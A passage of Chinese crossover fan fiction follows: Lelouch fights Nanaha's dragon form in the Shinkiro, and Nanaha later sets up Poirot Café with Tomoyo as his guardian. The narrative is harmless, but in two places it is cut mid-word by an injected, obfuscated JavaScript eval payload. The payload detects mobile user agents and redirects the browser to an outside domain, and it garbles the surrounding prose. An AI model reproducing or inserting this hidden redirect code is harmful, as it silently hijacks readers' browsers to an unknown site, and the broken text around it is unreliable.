眼睑翕动，被血液浸泡到泥泞的泥灰随着鲁路修身体的挣动扑簌簌的掉落下来。 鲁路修不知道自己昏迷了多久，也不太清楚自己经历了几次死而复生，但他知道留给他的时间不多了。 他得联系上C.C.关上C世界的裂缝，还有七羽……他得在七羽消灭掉所有思念体、转而攻击第十一区之前想办法让七羽的理性恢复。 只是真的好沉啊，动不了，怎么样努力都动不了。 压在他身上的是数吨重的水泥，他所在的位置正好是一处夹角，胡乱动作不止出不去，还会造成堆积在上方的建材塌陷，被二次掩埋到最下方。 快想想，想一想现在应该怎么办，一定会有办法的…… 周遭的氧气随着鲁路修急促的呼吸飞快得消耗着，二氧化碳的浓度逐渐超过了氧气的浓度，他开始感觉到缺氧，好不容易恢复的意识又有涣散开的趋势。 坚持住啊鲁路修，你可以的，被发配第十一区那样悲惨的开局你都逆风翻盘了，区区致命伤，对拥有Code的你根本不算什么。 可无论鲁路修怎样努力坚持，缺乏基本生存条件的糟糕现实还是令他的思维再一次缓缓沉寂。 思维混沌间，上方仿佛有风吹了进来，紧接着是无数碎石土块滚落的巨大声响。 在鲁路修的眼睛彻底闭上前，一缕天光照进了他紫色的瞳孔。 “真狼狈呀，殿下。” 米尼一张还带着点婴儿肥的小脸上沾满了脏污的灰尘，身上做工精致、款式简约的骑士装也不复刚上身时候的光鲜亮丽，他浑身灰扑扑得像是一只刚从泥堆里打滚出来的幼猫。 可就是这只看上去瘦弱到能被吉娃娃咬破喉咙的幼猫，仅凭单手就把几乎失去意识的鲁路修从黑暗的废墟中拉了出来。 “让我看看……肋骨错位、脊柱粉碎性骨折、脾肺破裂——哦，肺已经修复好了？Code的能力还真是便利啊。” 被轻轻放置在地上的鲁路修隐约看到几条细长发光的金属线从自己眼前飘过，随后这些带着神经接驳功能的金属线便从他身体各处的伤口探入体内，查看着他的伤势。 “嗯……肋骨接好啦，咦？这部分骨头是错着位就被Code愈合了吗？” 鲁路修感到胸口一痛，有什么锋利的东西搅碎了他胸腔里的部分骨头。 啊……痛觉恢复了？ 他眨了眨眼。 耳边那絮絮叨叨的声音还在继续。 “搞定！我帮你把这部分骨头重新切断对齐了，这次再长好就能正常了。” 直到这时，获救的鲁路修才恢复了对身体的控制与感知。 只是恢复知觉也不全是什么好事，那些超过了大脑阈值极限从而被身体自发麻木掉的痛觉也一并恢复了。 鲁路修小口小口吸着气，让自己不至于惨叫出声：“还真是粗.暴的治疗方式。” “赶时间嘛。”米尼用手背擦了擦鬓角的汗水，于是本就脏兮兮的小脸变得更花了，“能动了吗？能动的话就起来把这个穿上，我的殿下。” 一件干净的作战服盖到了鲁路修脸上，也盖住了他被疼出来的生理性泪水。 “喏，菲丽让我交给你的。”见鲁路修可以正常起身了，米尼递过来两样东西，“Geass消除器和装有蜃气楼的储存器，你完事后见到菲丽那家伙可要告诉她，这样我们就两清了，以后德里菲尔德家的耗材们就和德里菲尔德没关系了。” 穿好作战服的鲁路修眉尾一扬：“我没给人带话的习惯，要说自己去说。” “……喂！我可是你的救命恩人！鲁路修殿下！” 鲁路修在米尼的跳脚中激活了储存器，他的“老朋友”于一百年后再次出现在了阳光之下。 仰头看着面前熟悉的蜃气楼，鲁路修不由得感慨：“真怀念啊……” “我在跟你说话呢！”米尼磨着牙，被德里菲尔德家当做耗材的怨恨在理想得以实现的现在消散了不少，此时气鼓鼓的他看上去终于有了点这个年纪应该有的活泼样子。 “菲丽小姐应该让你准备了驾驶员登入辅助吧？” “没有那种东西，殿下你自己爬上去吧！” “我可以介绍你们去洛.阳城，□□的遗民和我关系不错，他们的天子会接纳你们成为拥有正式公民身份的聚居地居民。” “……空头支票。”米尼嘟囔着挥挥手，静候在旁边的一名仿生人走到鲁路修的面前背对他半蹲下.身，“只有人工登入方式，要不要？” “那就多谢了。” “……喂！你可得活着回来，我还等着你的介绍信呢！” 爬上仿生人后背的鲁路修只是摆了摆手。 被仿生人背着送进蜃气楼的驾驶舱，鲁路修这才有机会仔细观察这台与他阔别了百年的KMF。 在战火导致人类科技断代的这个特殊时代，德里菲尔德却把蜃气楼维护得很好，所有的作战单元模块全部运行正常。不仅如此，他们还在神经接驳方面做了优化改装，令计算能力强大但是身体体能负载过低的自己能够更灵活、更方便的操控这台KMF。 想到那个唯一能够在百年前就做出如此安排的人，鲁路修情不自禁的柔和了表情。 娜娜莉…… [驾驶员已登入] [认证中……] [认证通过] [欢迎回来，哥哥。] 鲁路修目光柔和的看着光屏中的最后一行字。 “我回来了，娜娜莉。” 天空的黑龙吞噬了最后一只仓皇逃窜的思念体，失去攻击目标的邪龙在空中盘旋了一会儿，金色的眼睛看向了下方属于人类的城市。 就在黑龙扇动龙翼即将俯冲而下时，黑金色的蜃气楼冲天而起。 鲁路修在试探性的攻击间隙冷静的观察黑龙的行为模式。 很好，看来因为七羽失去理性的缘故，眼前由七羽化身的巨龙也是按照本能行动的，他会锁定对自己威胁最大的单位并进行攻击，攻击模式以能够熔化机甲装甲的龙息为主，而时刻影响着他思维、动摇着他意志的精神攻击则和C世界思念体的“绝望病”有些相似，范围—— 蜃气楼做了一个大回旋。 ——200米外精神攻击的强度就会骤减。 200米……Geass消除器的范围可以自由调整，这样的话…… 以龙的视力，在500米的安全距离短暂开启驾驶舱应该没问题。 鲁路修在权衡风险后没有片刻犹豫，当下实行了设想的作战方案。 只是当他冒着巨大风险打开驾驶舱门直视巨龙之眼后，Geass却并没有成功。 拧眉思索片刻后，鲁路修手动输入了一串通讯代码，在等待通讯接通的过程中再次操纵蜃气楼极限闪开了一束龙息。 “嘟——” 通讯接通了。 “过了这么久，你终于想起来给我打电话了吗？L.L.”草绿色长发的魔女抱着柔软的章鱼玩偶出现在了光屏的右下角，“这个ID代码……蜃气楼？” “情况有些复杂，C.C.，阿卡夏之剑的修复进度如何？” 全神贯注投入驾驶的鲁路修无暇顾及通讯界面的视频显示，他本就不太擅长操控机体做精细运动，虽然德里菲尔德增加的神经接驳系统让他的操作上限有所提升，但想达到朱雀那种非人水平也并不现实。 “完事了，就等着我们的陛下一声令下……你那边的巨大能量反应是怎么回事？还有这个空间反应……除了C的世界你那边怎么还有别的空间壁垒？” 空间壁垒？ 鲁路修眸色一动。 怪不得他总觉得强子炮轰击在黑龙身上时的感觉不太对，原本他还以为是七羽的龙鳞坚硬度过高免疫了攻击，现在看来…… “也就是说只要突破了两个维度之间的空间壁垒，那层看似坚不可摧的龙甲其实并不存在？” “虽然不清楚你口中的龙甲是怎么一回事，但理论上，是的。” 鲁路修盯着眼前光屏里反馈出来的探测数据，眼中闪过抹不可思议。 这头无法被生命探测仪捕捉到的巨龙只能被能量分析仪观测分析…… 黑龙——或者说七羽，他居然不是生命体？ 怪不得在使用Gea ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574732|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ss消除器后，他对黑龙的Geass还是失效了。 不是高温使得Geass消除器的功能出现故障，而是眼前黑龙那金色的兽瞳实际上并不是七羽的眼睛。 鲁路修操控蜃气楼做出规避动作的同时，飞速分析着光屏上飞速变化的无序数据。 黑龙的能量指数一直在飞速下滑，但以这个速度，可能先到极限的会是蜃气楼的机体。 而能量反馈最强的部分在黑龙的体内。 鲁路修的大脑运转到极致，无数实时变换的坐标数字在他的脑海中一一重组并具现成现实世界的方位。 “C.C.，我会发给你一个坐标，三分钟后操纵阿卡夏之剑撕裂坐标点的空间壁垒，做得到吗？” 连目前最尖端的机器都无法计算出的未来坐标数据在鲁路修的大脑中成型，与此同时天空中的蜃气楼机翼超载运行，机翼上仰的角度在超过了临界值的瞬间仅靠核心发动机的能量维持住了高度。 只见伤痕累累的KMF以一个诡异的起伏堪堪避过了穿射而来的死亡龙息。 ——鲁路修用KMF做出了许多专业飞行员用前掠式战斗机都无法做出的眼镜蛇机动。 大脑与身体同时过载，可在肾上腺素的飙升下，鲁路修的眼睛却越来越亮。 “虽然阿卡夏系统计算出来的成功率低于2%，但……”C.C.察觉到了鲁路修语气的微妙变化，位于通讯另一端的金瞳魔女发出一声轻笑，“要试试看吗？我的魔王。” “正合我意。”随着话音落下，鲁路修左手五指快速解锁权限的同时紧握操纵杆的右手一用力，把操纵杆推到了标志着危险红色的尽头，“来吧，我们一起让他停下来！” 一直在做规避飞行的KMF突兀调转方向，向着身后紧追不舍的漆黑巨龙发起了自杀式的冲锋。 [已确认驾驶员生物信息：鲁路修.V.布里塔尼亚。] [身份认证通过] [正在执行您的命令——] [神经接驳同步率已调整至100%] [电传驾驶系统已关闭] [过载保护已关闭] [环境能源转化系统已关闭] [负重平衡系统已关闭] [武器禁令已解除] [扩散式构造相转移炮.改充能完毕] …… 高温正在熔化蜃气楼的装甲层，鲁路修面前的电子屏上几乎被弹出的红色警告占满了。KMF的恒温系统早就停止了工作，机甲内部的温度已经高到汗水刚刚冒出就会被蒸发的程度，要不是他换上了米尼带来的特制驾驶服与头盔，鲁路修怀疑在这种高温下自己别说保持神志清醒了，能不能保持存活都是未知数。 搞不好都来不及说遗言就会被烫熟。 鲁路修的思维在这一刻前所未有的活跃。 自他拥有Code后，死亡就不再是他的终点，反复徘徊在死与生的乌莫比斯环中的他早就忘记了自己第一次死亡时的感觉，也不会再经历人们口中所说的、只有在生死一线之间才会窥见的人生回放。 但这一刻鲁路修却想起了、也看见了。 这感觉意外的不坏。 在不到2%的成功概率下，鲁路修扣动了扳机。 爆炸产生的能量风暴几乎撕碎了已经千疮百孔的蜃气楼，所有的推进器都熄了火，能源核心因为能量的枯竭明灭几下，最后彻底熄灭。 鲁路修几乎是靠着能量风暴的推力才没有直接从空中掉下去。 身体的超载过负荷不止带来了耳鸣失聪，还让他的虹膜充血破裂，直至两分钟后Code修复完他的身体，他的视野才再次恢复了正常。 鲁路修甩了甩头，试图让自己昏昏沉沉的脑袋清醒一点。 蜃气楼的系统已经因为能源的枯竭彻底关闭，只有最后的紧急维生系统还在断断续续的进行氧气循环，以图保障驾驶员的生命安全。 鲁路修缓了一小会儿，才有力气从驾驶席上爬起来。 感谢七羽龙炎的倾情输出，蜃气楼原本厚重坚固的装甲板在经过这样一番摧残后已经脆弱到连鲁路修这样的体力废都能一脚踹开。 出乎鲁路修意料的，在他通过“人工方法”从驾驶舱出来后，迎接他的并不是预想中可能的各类攻击。 没有无物不焚的可怕火焰，也没有能够撕碎一切的恐怖能量，甚至连一直在蚕食他意志的绝望光环都没有，黑龙的体内只有一片寂静无声的黑暗，而黑暗的正中心亮着一抹天青色的微光。 “原来如此，这就是真正的你啊。” Geass的标志在鲁路修眼中显现。 “已经结束了，七羽，好好休息吧。” 他摊开双手，小心翼翼的放在小小水晶的正下方。 “我会好好接住你，不会让你摔碎的。” 天青色的灵魂水晶落在了魔王的掌心。 14.Code Geass（完） 七羽是被颠醒的。 他似乎睡了很久，久到身体都麻木到没有知觉了，他想睁开眼，可就连掀开眼皮这简单的动作都很难办到。 规律的起伏还在继续，他好像整个被装进了一个袋子里，袋子柔软的布料贴着他的皮肤，每一次起伏的幅度都不大，这让他想起了曾经在某一任御主家见过的婴儿摇篮，就是那种很轻柔地、能带给人安心感的摇晃。 安心到七羽差一点就又睡过去了。 直到他听到了熟悉的声音，摇摇欲坠的理智才堪堪稳住。 “既然娜娜莉选择了你们，而你们又用实际行动证明了自己的忠诚，我自应当把东西物归原主。” 啊，是鲁路修。 只是为什么他的声音听上去这么近？虽然因为隔着一层布料的缘故有些发闷，但却异常清晰的自头顶传来。 等一下，头顶？ 七羽后知后觉。 他想做一个抬头的动作，可却没能成功。 “殿下，以后不会有德里菲尔德了。” 这个回复鲁路修的女孩七羽反应了好一会儿才意识到是菲丽。 也不怪他没能第一时间认出来，实在是菲丽的声音和他记忆中的差距过大。 在七羽的印象里，哪怕是被困在变种人营地的时候，菲丽的声音都是稳定柔和的，讲述自己爱情故事的时候虽然伤感，但自嘲的时候也带着小女生特有的那种俏皮。 但如今说话的这个人嗓音沙哑，说起话来像个轻飘飘的幽魂。 很难想象到底是发生了什么事，才会让一个内核如此稳定的女孩变成如今这样。 是家里出了事吗？ 还是说，鲁路修终究没能及时阻止完全狂化的自己？ “我会是最后一名德里菲尔德，所以殿下您还是另外寻人保管这两样东西吧。” 最后一名？那斯卡利先生呢？米尼呢？ 七羽感觉装着自己的袋子晃了一下，接着是窸窸窣窣的声音，有什么东西被放在了距离他不远的下方，他能感觉到两个袋子之间的布料是相连的，或者说，是同一块布料？ “斯卡利先生的事我很遗憾。”他听到鲁路修这么说，“你不打算和米尼一起走吗？” “不了，虽然米尼说‘到此为止’，但我想只是看到我，就会提醒他们曾经身为耗材的痛苦吧？”菲丽轻飘飘的声音里连最基本的情绪都没有，“德里菲尔德这个姓氏带给他们的只有残忍的实验、为了活下去不得不替换的仿生学义肢和仿生学内脏，以及干不完的脏活。” “我会留在第十一区。”菲丽停顿了一下，那种空洞苍白的语调有了很细微的改变，“也说不准，没准我会心血来潮去别的地方看看，毕竟父亲他……” 一段时间的沉默，久到七羽还以为自己又失去了听觉，菲丽才继续说道：“他想终止德里菲尔德的人造人悲剧，他做到了，我为他感到自豪。可笑的是，我居然一直都不理解他，看看我都做了什么？我去接触了伊桑……我……” “我认为，斯卡利先生也为你感到自豪。”鲁路修打断了菲丽开始失控的情绪，“你只是做了一个优秀的继承人应该做的事。” “是，一个继承人应该做的事。”菲丽冷漠的重复，“而不是一个女儿应该做的事。” 七羽能感觉到，菲丽似乎已经陷在了深切的自责中绕不出来了。他有心想开口安慰，却没能发出声音。 “你做到了。”装着七羽的袋子被往上拽了几毫米，他听到了手掌抚摸发丝的温柔簌簌声，大概是鲁路修安抚性的揉了揉小姑娘的头顶，“正因为你做到了，斯卡利先生才会毫无顾虑的献身给他的理想。” 随着鲁路修放手的动作，装着七羽的袋子又落回了原处。 这也让七羽终于意识到问题出在哪里了。 他记得他在Berserker的职阶下彻底解放宝具会消耗基数可怕的魔力，之前他甚至有一次把御主的魔力全都吸干了，他那倒霉的御主为此在床上躺了整整一个月，而这一次，他可没有御主为他供应魔力。 也就是说，他使用的全部都是自己的魔力。 而众所周知，和丘比那个奸商签订魔法少女契约的人类都会失去身体、抽离灵魂，他们所使用的躯壳是纯粹由魔力构造成的。 那么魔力彻底消耗一空会发生什么？ “好吧，如果以后有机会的话，我可能会离开这里四处走走，当一个画家或者诗人什么的……殿下，我如果画出来了画作或者写出来了诗歌，能寄给你和七羽吗？” “当然，你可以寄信到洛阳城，那里的人有办法联系到我，至于七羽……” 有一只手隔着袋子轻轻压了压他。 “他和我在一起，他也会看到的。” 很好，现在我只是一枚能够被鲁路修装进上衣口袋的灵魂水晶罢了。 我的任务八成得泡汤了。 七羽“叹气”。 天青色的灵魂水晶忧郁的闪了两下，开始了他目不能视、口不能言，只能一动不动呆在鲁路修贴身口袋里的13天。 这13天他跟着鲁路修同菲丽道了别，从正在重建的第十一区出发，上了前往洛阳城的行商卡车。 鲁路修很少会把他取出来，一般都是放在上衣心口处的内袋中，虽然看不到外面的世界很遗憾，但时间也没有七羽想象中的那么难熬。 同一辆车上似乎坐了很多缴费后搭便车的废土客，他们会天南海北的聊很多七羽没听过的东西，但更多时候他们都在描述“黑龙血洗第十一区”的惊心动魄，七羽也从他们添油加醋的描述里大概知道了他狂化之后发生的事情。 鲁路修他居然还会开机甲。 七羽津津有味的听了三天“黑金大黄蜂大战灭世狂龙”的故事，之后可能是故事里的另一位主人公实在听不下去了，也可能是商队的路线不再和鲁路修的目的地一致，总之他们离开了那辆卡车，开始沿着崎岖的山路步行。 之所以说是山路，是七羽根据鲁路修的前进状态推断的。 不是他说，鲁路修的身体素质真的不行，也就是有不老不死和Geass的外挂在，不然别说异种群了，就是森林里的正常猛兽，七羽都担心鲁路修搞不定。 没了故事听，七羽的世界一下子又安静了下来。 鲁路修没有自言自语的习惯，于是七羽这两日听到的除了各种环境音，就只有鲁路修近在咫尺的心跳声了。 七羽对时间的测算，也都是通过对鲁路修心跳的计数。 大概在第十二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582218|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的中午，七羽才又听到了其他人的声音。 “欢迎回来，我的魔王。” 这旖旎的嗓音与称谓，让还在数心跳、数到昏昏欲睡的七羽瞬间精神了。 “C.C.” 七羽发誓，哪怕是在劝慰状态不对的菲丽小姑娘时，鲁路修的声音都不曾放得这么温柔。 紧接着躺在鲁路修前胸口袋里面的七羽隔着几层布料，感觉到了另一个人的体温。 怪不得鲁路修这家伙不愿意跟我走，原来原因在这里。 虽然有点好奇什么样的人才能够留住鲁路修这样的家伙，但出于对朋友的尊重，七羽还是封闭了自己的观感，选择暂时睡一会。 反正鲁路修那家伙已经安全到家了，估计也不会遇到什么解决不了的难题了。 干脆睡到任务时间结束吧。 七羽小小的“打了个哈欠”，把感知缩回灵魂水晶，安稳的睡了过去。 * [任务剩余时间：0日] [检测到任务目标：请招聘到你的首位员工，以激活你的锚点。] [任务结算中……] [结算已完成] [恭喜你完成了第一个随机副本，任务奖励已发放，请查收。] [固定奖励： 新的锚点*1（待激活） 公民正式身份*1 退休金*□□□ ——检测到你目前处于躯壳消失状态，已自动将退休金转化为可构成躯壳的魔力，用以生成供您自由使用的躯壳。] [额外奖励： 职阶切换卡*1 不太灵光的老旧咖啡机*1（什么？你说他磨不了咖啡豆？敲一敲就好了，如果没好，那就再敲一敲）] [员工： 鲁路修.V.布里塔尼亚 能力值： 筋力：E 魔力：S 幸运：E-EX 敏捷：E 固有技能： 1.Code：能够自由进出群体潜意识、赋予契约者Geass能力（目前契约者数量：0）、不老不死。 2.Geass：对同一目标仅能生效一次的绝对命令（发动条件：直视双眼）。 寄语：现在，我们是朋友了。] 米花町警视厅的男卫生间隔层里，天青色光点由无到有重新构成了长发的漂亮少年。 七羽睁开眼时眼里还带着点没睡醒的迷蒙，面对突然恢复的视觉，他慢了半拍才反应过来自己的意识已经重新回到了躯壳中。 眼前只有他能看到的任务面板流水一样刷过去数条消息，抱着完不成任务就要跑路当逃犯的悲壮心情，七羽点开了任务详情。 鲁路修留给他的话就这么猝不及防的撞进了七羽的双眼。 这家伙…… 七羽的眉眼忍不住弯了弯，露出一个再开心不过的笑容。 “叩叩。” 礼貌地敲门声打断了七羽对剩余系统信息的查看，等候在门外的高木警官进来发现外间没人，这才叩响了唯一关着门的隔间。 “七羽，你的监护人来接你了，做完笔录后你就可以跟她回去了。” 嗯？ 监护人？ 15.波洛咖啡店 七羽发现自己从副本里回来后运气似乎好了起来，只是不知道是摆脱了Berserker职阶模版下自己幸运E的数值，还是说阿赖耶的这个模拟经营系统终于发挥了应有的作用。 说真的，一个学名叫“模拟经营”的系统，发布的任务虽然是很符合设定的聘请员工，但无论是任务世界还是任务过程，都很不模拟经营好不好？ 七羽自己就是末世废土出身的，他对废土客简直是不要太了解。 看看那些废土客们点的技能树吧……柔弱些的捡垃圾搬尸体不在话下，厉害点的抄起自制的工兵铲就能冲出去和异种抢猎物。 可以说是民风彪悍、能人辈出，随便拎出来一个都是某种意义上的“全才”。 唯一的问题就是，他们全部都是真正的法外狂.徒。 而15天的时间，也并不够彻底看清一个人。 只能说还好最后跟他回来的是鲁路修吧…… 惊险刺激的片场七羽体验的太多了，他真得只想安静退休摆烂躺平。 也不知道是任务里那待激活的“锚点”奖励在给他兜底，还是自己那凭空出现的监护人位高权重，高木并没有带七羽回到那间审讯室，他带着七羽和佐藤会和后，就重新跑去工位鼓弄那台调不出来七羽身份信息的电脑了。 佐藤掩上办公室的门，挡住了七羽的视线，她指向另一个方向：“走吧，高木这边可能还要一会儿，我先带你去见你的监护人。” 没能瞄到高木电脑屏幕上信息的七羽怏怏收回目光。 好吧，看来他又要开盲盒了。 希望阿赖耶出品的系统别给他安排什么奇怪的身份，他一点也不想卷入非正常事件。 比如在凌晨一点的游乐园，撞见奇怪黑衣人一闷棍打晕男高中生，给男高中生灌奇怪小药丸什么的。 五分钟后，见到自己监护人的七羽也说不好自己的愿望到底有没有实现。 看上去和他外貌同龄的监护人安静的坐在接待室方桌的一边，同样黑色的长发柔顺的垂下来，只在发尾卷起了俏皮的弧度。 她和鲁路修一样，有一双紫色的温柔眼睛，当然，相比偶尔会目光锐利的鲁路修，她的眼瞳更平和、也更没有攻击性，与她浑身散发出来的大和抚子气质十分相称。 总之是位看上去性格很好、也很有社会地位的监护人。 七羽眼角的余光扫过沉默站在监护人身后的保镖，这样想。 “大道寺小姐，麻烦您走个流程在这里签个字。” 佐藤警官胳膊一松，夹在她胳膊肘和身体之间的文件夹就自然滑落到了她手中。 在七羽探究的视线下，大道寺知世主动伸手接过了短发女警手里的文件夹。 “真是不好意思，我家的孩子给你们添麻烦了。”知世取下文件夹上别着的黑色签字笔，几笔就签出了漂亮的名字，她也没急着把签好的文件递还给在她对面落座的佐藤，而是扬起个充满知性的温柔笑容对七羽招了招手，“没吓到吧？我从友枝市赶过来花了些时间，很抱歉我来迟了。” 七羽想了想，没回话，只是摇了摇头并坐到了知世的身边。 这之间一直背着手站在知世身后的保镖只是本分守在原地，并没有开口阻止七羽的意思。 “我就说哪有那么多不知名的天才，原来七羽少年是你家的小孩。”熬了个大夜的佐藤闭着眼揉了揉太阳穴，知世贴心的帮她倒了杯茶，并推到她的右手边，以方便她取用，“等高木核对完身份信息后你们就能走了，顺带一提……” 佐藤咕咚咕咚灌下去一整杯红茶，长舒口气后抬手把额前垂下的刘海向后扒了扒，姿态飒爽的短发女警官这才看着知世认真道：“最近可能会不太太平，出行的话注意安全。” 佐藤的目光在站在知世身后的高大保镖身上一点，随后又暗示意味很明显的在七羽身上一点。 一直没开口的七羽这才发问：“是那两名黑衣人的身份有问题吗？” 佐藤瞥了他一眼，没搭腔。 “身份？哦哦，你们已经说到这里了吗？七羽的身份信息查到了，没问题，刚才可能是系统的网络有波动，所以出BUG了吧。”端着四杯水进来的高木用后背抵开门，他转过身来正好看见佐藤手中空了的茶杯，于是动作自然的把其中一杯热水放在了佐藤面前，“那个……这个点再喝茶回去会睡不好觉的，佐藤警官来杯热水吧？” “高木警官还是这么会关心人。”知世显然和两人相识，她熟稔的打趣后目光在两位警官之间一转，唇边一直挂着的浅笑加深了几分，“谢谢提醒，时间也不早了，我就先带七羽离开了。” 在得到两位警官“没问题”的应允后，知世拎起抱在双膝上的小巧挎包优雅起身，身后的保镖适时的帮她把椅子往后拉，给她留出了方便起身的空间。 “我们走吧，七羽。” 大道寺知世侧头，向七羽微笑着伸出了右手。 * 七羽随知世离开后便上了等候在警视厅外的车，保镖装束的男人待他们在后排坐好后去了副驾驶，并自觉升起了车内的隔屏，以便后方的他们能够放松的交流。 七羽指了指自己，因为不知道阿赖耶给他编写的背景故事，他只能做了个不算自我介绍的自我介绍：“七羽。” “我知道的，叔母在电话里有跟我交代清楚你的情况。”知世果然如她看上去那般善解人意，她主动接过了话题，“虽然叔母是严厉了一点，但离家出走真的很危险的，尤其这边和东国有时差，你落地的时候这边都已经是凌晨了。” 知世叹了口气，拉开座椅前方的小冰箱取了瓶牛奶出来：“你下了飞机还没吃晚饭吧？” “谢谢。”对自己的身份设定有了基本概念的七羽终于松了口气，他接过牛奶，惊奇的发现手里的牛奶居然是热乎的。 “我设置的保温，毕竟现在天气凉了嘛，你也知道女孩子凉的喝多了对胃口不太好。”看出来了七羽的诧异，知世友善的做了解释，“可能不和你口味，但身为男孩子，你就当迁就我们女孩子的不容易吧。” 其实挺喜欢热牛奶的七羽很给面子的拧开瓶盖喝了一口。 “我们现在这是……回友枝市？” 看知世的条件…… 他难不成要完成自己的人生目标，当一个只会浪费粮食混吃等死的有钱人家大少爷了？ “不是哦，你离家出走后叔母也有进 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这间玻璃橱窗上印着“波洛咖啡厅”字样的咖啡店是一栋三层楼盘的一楼底商，楼上是一家私人侦探事务所，隔壁是一家寿司店，透过有些雾蒙蒙的玻璃橱窗，能看见里面摆放的三张原木桌以及左侧充当操作台的吧台。 是一家很标准的小型社区咖啡厅。 “店主说他把钥匙留在了门口的绿植花盆下……找到了。”知世揽着裙子蹲下身在花盆与盆托之间的缝隙摸出来把钥匙，“要进去看看吗？” 七羽点头：“当然。” 凌晨四点的寂寥街道上，咖啡店的暖光从玻璃窗透到了街道上。 这间咖啡店大概有阵子没开门营业了，七羽同知世进去的时候里面已经积了一层薄灰。站在洛可可风格的吊灯下，七羽环顾整间咖啡厅的布局后，对这间以后自己安身立命的根本很满意。 “怎么样，还不错吧？”知世也跟着七羽在店里转了一圈，“虽然因为叔母和你赌约的缘故我不好直接支援你启动资金，但我关于咖啡店的经营还是很有心得的。” 知世眼睛闪亮亮的看着七羽，满脸期待的等着七羽开口询问。 没有经营经验的七羽虚心请教：“我的确还没头绪，不过我正好有一台咖啡机。” 虽然带着“不太灵光”和“老旧”的字条，但应该会有用的吧？ 毕竟这个任务奖励怎么看都是按照他的具体情况量身定做的。 “那些都不重要！”知世很肯定的说，“合适的工作服才是经营成功的第一步！” “啊？” “作为来自姐姐的支持，七羽你的工作服就放心交给我吧。”知世从她没离身的小挎包里掏出了一卷卷尺，“我可是很知名的服装设计师哦。” “……一定要吗？” “七羽你还没看过这家店的财报吧？”知世笑着说，“我有预感，七羽你穿上后一定超可爱！” 这简直就是在明示了。 七羽沉默片刻，接着点开了系统界面，停留在员工那一栏。 “那你等等，我在回国前联系了我的好朋友跟我一起创业，我现在打电话叫他过来一起量尺寸。” 16.波洛咖啡店 鲁路修可没想到在自己响应召唤后，等待他的第一件事就这么具有挑战性与冲击性。 “L.L.，拜托了。” 某个前脚刚被他承认为朋友，后脚就拉着他有难同当的家伙双手合十，笑眯眯的半仰着头拜托他。 金黄色的兽瞳又恢复成了清澈的天青色，白皙细腻的肌肤上也没了漆黑狰狞的龙鳞，合十的双手手背干净如初，那些异化似乎并未在他的身上留下痕迹。 看来理性丧失和失去身体的麻烦已经被七羽完美解决了。 一来就被七羽拉进咖啡店的鲁路修稍稍安心了些，他这才把注意力转到了七羽请求上。 呵，想拉他下水？ 鲁路修冷笑。 “我们这是正经咖啡店。” 只看店内的装潢，鲁路修就把目前的情况猜得八九不离十，曾在阿什弗德学园学生会担任副会长的他当然知道要是不加限制，那些目光闪闪的女孩子们什么样的方案都能掏出来，而面前举着卷尺的黑发女孩子眼里的神色简直和他记忆里的如出一辙。 “而且我认为，合格的工作服在具备美观的基础上，还应该同时兼具实用性、耐穿性、耐脏性，以及，应该和我们店铺的装修风格相匹配，您觉得呢？” 鲁路修指了指咖啡店偏向于温馨柔和的朴素装潢，微笑着等待知世的回应。 学不懂怎样委婉拒绝的七羽战术后仰。 这就是拥有高情商员工的安心感吗？ “诶？”可能是没想到鲁路修居然会搬出这样一套无懈可击的说辞，知世不由得仔细看了他两眼，对于鲁路修所划定出来的框架，她不仅没有生气，相反，现在她看上去更跃跃欲试了，“请放心，在服装设计方面我可是专业的！” 怎样在一丝不露的基础上显得端庄可爱还带点小性感，专业给小樱制作魔法少女服装十年的她堪称经验丰富。 她比了比手中的卷尺：“现在我可以量尺寸了吗？时间不早啦，我还要赶回友枝市去上早课。” 知世满口应下的态度让鲁路修也没了继续拒绝的余地。 拿到二人具体数据的知世心满意足，连通宵的疲惫都在找到合心意的模特后消失了。 干劲十足的知世在向七羽保证五天出成品后，挥挥手离开了咖啡店。 从知世手中交接过店铺钥匙的七羽心情复杂的盯着掌心的合金钥匙看了一会儿，等店外载着知世的黑色轿车彻底驶出这条街道，他才掀掉罩在沙发上的塑料薄膜，把自己摊在了卡座区的沙发上。 “幸好有你。”虽然不十分确信工作服会是标准意义上的正常，但至少肯定不会是女仆装了，七羽放松身体，打开系统面板，也不瞒着鲁路修，就这么堂而皇之的当着鲁路修的面看起了积攒的系统信息，“现在条件有限，在我们聊聊之前，你要先来点水吗？” 方才检查店内情况的时候七羽有重点查看店内的设备情况，虽然这里的技术水平和他的年代比起来算是大幅度退步了，但通过外形和摆放位置也能猜出来各个电器的大致作用。 目前来讲，他们的储备物资仅有厨房里一冷冻柜的各式时令蔬菜水果，厨房旁边的小仓库里则存放有五包咖啡豆以及三袋面粉，其中一袋面粉的袋子还漏了，里面的面粉也受了点潮。 而本应该存放牛奶、奶油与巧克力酱等咖啡必需品的冰箱里则空荡荡的，用于调和咖啡味道的各类气泡饮品也是一瓶不剩。不过也是，鲜牛奶和稀奶油都是很容易过期，就算这些东西冰箱里有剩，估计也过期了。 这样一来，除了现做一份手冲咖啡之外，唯一能入口的饮品就只剩下白开水了。 七羽表示，他泡咖啡的手艺真的不怎么样，但他烧热水的水准绝对没问题。 “我该说多谢款待吗？”鲁路修眼见沙发上的七羽已经开始两眼放空神游天外，认命的拿起吧台后储物槽里的热水壶，去厨房打水去了。 